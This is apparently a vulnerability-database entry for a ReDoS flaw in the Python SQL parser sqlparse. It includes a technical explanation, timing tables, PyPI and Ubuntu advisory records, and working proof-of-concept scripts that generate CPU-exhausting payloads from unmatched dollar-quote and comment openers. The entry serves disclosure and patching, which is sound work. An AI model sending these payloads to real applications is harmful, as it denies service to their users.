sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.
Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.
Details
The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:
# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),
This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.
The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):
# sqlparse/lexer.py:136-138
for pos, char in iterable:
for rexmatch, action in self._SQL_REGEX:
m = rexmatch(text, pos)
The data flow from public API to the vulnerable sink is:
sqlparse/__init__.py:20—parse(sql)accepts caller-controlled SQL.sqlparse/__init__.py:29— delegates toparsestream(sql, encoding).sqlparse/__init__.py:43—FilterStack.run(stream, encoding)is invoked.sqlparse/engine/filter_stack.py:31—lexer.tokenize(sql, encoding)is called with no length limit or timeout.sqlparse/lexer.py:137— every regex in_SQL_REGEXis tried at the current position.sqlparse/keywords.py:33— the backreference regex performs repeated delimiter searches.
The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.
Empirically measured scaling confirms super-linear complexity:
| Input (N unique openers) | Bytes | Elapsed |
|---|---|---|
| 250 | 1,889 | 0.066 s |
| 500 | 3,889 | 0.144 s |
| 1,000 | 7,889 | 0.397 s |
| 2,000 | 16,889 | 1.314 s |
The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.
PoC
Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).
Using Docker (isolated reproduction):
# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .
# Run with no network access
docker run --rm --network=none sqlparse-vuln001
Direct Python reproduction:
import time
import sqlparse
from sqlparse.exceptions import SQLParseError
def make_payload(n: int) -> str:
# N unique unmatched dollar-quote openers — none have a matching closing delimiter
return " ".join(f"$a{i}$x" for i in range(n))
for n in [250, 500, 1000, 2000]:
payload = make_payload(n)
t0 = time.perf_counter()
try:
sqlparse.parse(payload)
status = "ok"
except SQLParseError as e:
status = f"SQLParseError: {e}"
elapsed = time.perf_counter() - t0
print(f"n={n:>5} bytes={len(payload):>7} elapsed={elapsed:.3f}s status={status}")
Expected output (super-linear scaling confirms ReDoS):
n= 250 bytes= 1889 elapsed=0.066s status=ok
n= 500 bytes= 3889 elapsed=0.144s status=ok
n= 1000 bytes= 7889 elapsed=0.397s status=ok
n= 2000 bytes= 16889 elapsed=1.314s status=ok
Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.
Attack input structure:
$a0$x $a1$x $a2$x ... $a{N-1}$x
Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.
Remediation (proposed patch):
Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.
Additional affected pattern: multiline comments
Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.
Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:
# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/', tokens.Comment.Multiline),
A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).
PoC
import time, sqlparse
for n in (2000, 4000, 8000, 16000):
payload = "/*x " * n
t0 = time.perf_counter()
sqlparse.parse(payload)
print(f"n={n:6d} bytes={len(payload):7d} elapsed={time.perf_counter()-t0:.3f}s")
Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:
| openers | bytes | lexing |
|---|---|---|
| 2,000 | 8 KB | 0.057 s |
| 4,000 | 16 KB | 0.196 s |
| 8,000 | 32 KB | 0.729 s |
| 16,000 | 64 KB | 2.717 s |
Roughly 3.7x per doubling of the input, i.e. quadratic.
Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.
Impact
This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.
Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.
Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the sqlparse repository source code
COPY repo/ /app/repo/
# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/
# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py
# Default: run the PoC
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)
Affected code: sqlparse/keywords.py:33
(r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)
The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.
Attack input: a sequence of N unique, never-closed dollar-quote openers
$a0$x $a1$x $a2$x ... $a{N-1}$x
Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists. With N openers this creates
O(N^2) regex work.
Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""
import sys
import time
try:
import sqlparse
from sqlparse.exceptions import SQLParseError
except ImportError as exc:
print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
sys.exit(2)
print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()
def make_payload(n: int) -> str:
"""Generate N unique unmatched dollar-quote openers.
Each token '$ai$x' looks like an opening dollar-quote delimiter
but never has a closing delimiter, so the regex engine must scan
the entire remaining string before giving up on each one.
"""
return " ".join(f"$a{i}$x" for i in range(n))
results = []
sample_sizes = [250, 500, 1000, 2000]
for n in sample_sizes:
payload = make_payload(n)
byte_len = len(payload.encode())
t_start = time.perf_counter()
try:
sqlparse.parse(payload)
status = "ok"
except SQLParseError as exc:
status = f"SQLParseError({exc})"
except Exception as exc:
status = f"Exception({type(exc).__name__}: {exc})"
elapsed = time.perf_counter() - t_start
results.append((n, byte_len, elapsed, status))
print(f"n={n:>5} bytes={byte_len:>7} elapsed={elapsed:>8.3f}s status={status}")
print()
# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
n_prev, _, t_prev, _ = results[i - 1]
n_curr, _, t_curr, _ = results[i]
if t_prev > 0:
ratio = t_curr / t_prev
n_ratio = n_curr / n_prev
print(f" n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")
print()
# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2] # n=1000
_, _, t_2000, _ = results[3] # n=2000
PASS_THRESHOLD = 3.0
if t_1000 > 0:
ratio_1000_2000 = t_2000 / t_1000
else:
ratio_1000_2000 = 0.0
print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")
if ratio_1000_2000 >= PASS_THRESHOLD:
print()
print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
print(f" Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
print(" ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
sys.exit(0)
else:
print()
print("[FAIL] Super-linear scaling NOT confirmed within this run.")
print(f" Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
print(" The host may be too fast or JIT effects obscured the result.")
print(" Try larger sample sizes or re-run on a slower host.")
sys.exit(1)
| Name | purl | sqlparse | pkg:pypi/sqlparse |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "sqlparse",
"purl": "pkg:pypi/sqlparse"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.0",
"0.1.1",
"0.1.10",
"0.1.11",
"0.1.12",
"0.1.13",
"0.1.14",
"0.1.15",
"0.1.16",
"0.1.17",
"0.1.18",
"0.1.19",
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"0.2.0",
"0.2.1",
"0.2.2",
"0.2.3",
"0.2.4",
"0.3.0",
"0.3.1",
"0.4.0",
"0.4.1",
"0.4.2",
"0.4.3",
"0.4.4",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.5.4",
"0.5.5"
]
}
],
"aliases": [
"CVE-2026-59893",
"GHSA-prg7-hcfm-mfcr"
],
"details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n for rexmatch, action in self._SQL_REGEX:\n m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes | Elapsed |\n|--------------------------|--------|----------|\n| 250 | 1,889 | 0.066 s |\n| 500 | 3,889 | 0.144 s |\n| 1,000 | 7,889 | 0.397 s |\n| 2,000 | 16,889 | 1.314 s |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n payload = make_payload(n)\n t0 = time.perf_counter()\n try:\n sqlparse.parse(payload)\n status = \"ok\"\n except SQLParseError as e:\n status = f\"SQLParseError: {e}\"\n elapsed = time.perf_counter() - t0\n print(f\"n={n:\u003e5} bytes={len(payload):\u003e7} elapsed={elapsed:.3f}s status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn= 250 bytes= 1889 elapsed=0.066s status=ok\nn= 500 bytes= 3889 elapsed=0.144s status=ok\nn= 1000 bytes= 7889 elapsed=0.397s status=ok\nn= 2000 bytes= 16889 elapsed=1.314s status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n payload = \"/*x \" * n\n t0 = time.perf_counter()\n sqlparse.parse(payload)\n print(f\"n={n:6d} bytes={len(payload):7d} elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000 | 8 KB | 0.057 s |\n| 4,000 | 16 KB | 0.196 s |\n| 8,000 | 32 KB | 0.729 s |\n| 16,000 | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n build-essential \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists. With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n import sqlparse\n from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n \"\"\"Generate N unique unmatched dollar-quote openers.\n\n Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n but never has a closing delimiter, so the regex engine must scan\n the entire remaining string before giving up on each one.\n \"\"\"\n return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n payload = make_payload(n)\n byte_len = len(payload.encode())\n t_start = time.perf_counter()\n try:\n sqlparse.parse(payload)\n status = \"ok\"\n except SQLParseError as exc:\n status = f\"SQLParseError({exc})\"\n except Exception as exc:\n status = f\"Exception({type(exc).__name__}: {exc})\"\n elapsed = time.perf_counter() - t_start\n\n results.append((n, byte_len, elapsed, status))\n print(f\"n={n:\u003e5} bytes={byte_len:\u003e7} elapsed={elapsed:\u003e8.3f}s status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n n_prev, _, t_prev, _ = results[i - 1]\n n_curr, _, t_curr, _ = results[i]\n if t_prev \u003e 0:\n ratio = t_curr / t_prev\n n_ratio = n_curr / n_prev\n print(f\" n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2] # n=1000\n_, _, t_2000, _ = results[3] # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n ratio_1000_2000 = t_2000 / t_1000\nelse:\n ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n print()\n print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n print(f\" Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n print(\" ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n sys.exit(0)\nelse:\n print()\n print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n print(f\" Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n print(\" The host may be too fast or JIT effects obscured the result.\")\n print(\" Try larger sample sizes or re-run on a slower host.\")\n sys.exit(1)\n```",
"id": "PYSEC-2026-3698",
"modified": "2026-08-19T12:16:39.242165Z",
"published": "2026-08-19T11:56:27.110256Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
},
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
},
{
"type": "PACKAGE",
"url": "https://github.com/andialbrecht/sqlparse"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/sqlparse"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-prg7-hcfm-mfcr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59893"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)"
}
ubuntu-cve-2026-59893
Vulnerability from osv_ubuntu
sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "pypy-sqlparse",
"binary_version": "0.1.18-1"
},
{
"binary_name": "python-sqlparse",
"binary_version": "0.1.18-1"
},
{
"binary_name": "python3-sqlparse",
"binary_version": "0.1.18-1"
},
{
"binary_name": "sqlformat",
"binary_version": "0.1.18-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:16.04:LTS",
"name": "sqlparse",
"purl": "pkg:deb/ubuntu/sqlparse@0.1.18-1?arch=source\u0026distro=xenial"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.13-2ubuntu2",
"0.1.18-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "pypy-sqlparse",
"binary_version": "0.2.4-0.1ubuntu0.1"
},
{
"binary_name": "python-sqlparse",
"binary_version": "0.2.4-0.1ubuntu0.1"
},
{
"binary_name": "python3-sqlparse",
"binary_version": "0.2.4-0.1ubuntu0.1"
},
{
"binary_name": "sqlformat",
"binary_version": "0.2.4-0.1ubuntu0.1"
}
]
},
"package": {
"ecosystem": "Ubuntu:18.04:LTS",
"name": "sqlparse",
"purl": "pkg:deb/ubuntu/sqlparse@0.2.4-0.1ubuntu0.1?arch=source\u0026distro=bionic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.2.2-1",
"0.2.4-0.1",
"0.2.4-0.1ubuntu0.1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "pypy-sqlparse",
"binary_version": "0.2.4-3ubuntu0.1"
},
{
"binary_name": "python3-sqlparse",
"binary_version": "0.2.4-3ubuntu0.1"
},
{
"binary_name": "sqlformat",
"binary_version": "0.2.4-3ubuntu0.1"
}
]
},
"package": {
"ecosystem": "Ubuntu:20.04:LTS",
"name": "sqlparse",
"purl": "pkg:deb/ubuntu/sqlparse@0.2.4-3ubuntu0.1?arch=source\u0026distro=focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.2.4-1",
"0.2.4-1build1",
"0.2.4-2",
"0.2.4-3",
"0.2.4-3ubuntu0.1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-sqlparse",
"binary_version": "0.4.2-1ubuntu0.22.04.2"
},
{
"binary_name": "sqlformat",
"binary_version": "0.4.2-1ubuntu0.22.04.2"
}
]
},
"package": {
"ecosystem": "Ubuntu:22.04:LTS",
"name": "sqlparse",
"purl": "pkg:deb/ubuntu/sqlparse@0.4.2-1ubuntu0.22.04.2?arch=source\u0026distro=jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.4.1-1ubuntu1",
"0.4.2-1",
"0.4.2-1ubuntu0.22.04.1",
"0.4.2-1ubuntu0.22.04.2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-sqlparse",
"binary_version": "0.4.4-1ubuntu0.1"
},
{
"binary_name": "sqlformat",
"binary_version": "0.4.4-1ubuntu0.1"
}
]
},
"package": {
"ecosystem": "Ubuntu:24.04:LTS",
"name": "sqlparse",
"purl": "pkg:deb/ubuntu/sqlparse@0.4.4-1ubuntu0.1?arch=source\u0026distro=noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.4.2-1ubuntu1",
"0.4.4-1",
"0.4.4-1ubuntu0.1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-sqlparse",
"binary_version": "0.5.4-1"
},
{
"binary_name": "sqlformat",
"binary_version": "0.5.4-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "sqlparse",
"purl": "pkg:deb/ubuntu/sqlparse@0.5.4-1?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.5.3-1",
"0.5.4-1"
]
}
],
"aliases": [],
"details": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.",
"id": "UBUNTU-CVE-2026-59893",
"modified": "2026-08-19T11:06:32Z",
"published": "2026-08-17T18:17:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-59893"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59893"
},
{
"type": "REPORT",
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-59893"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.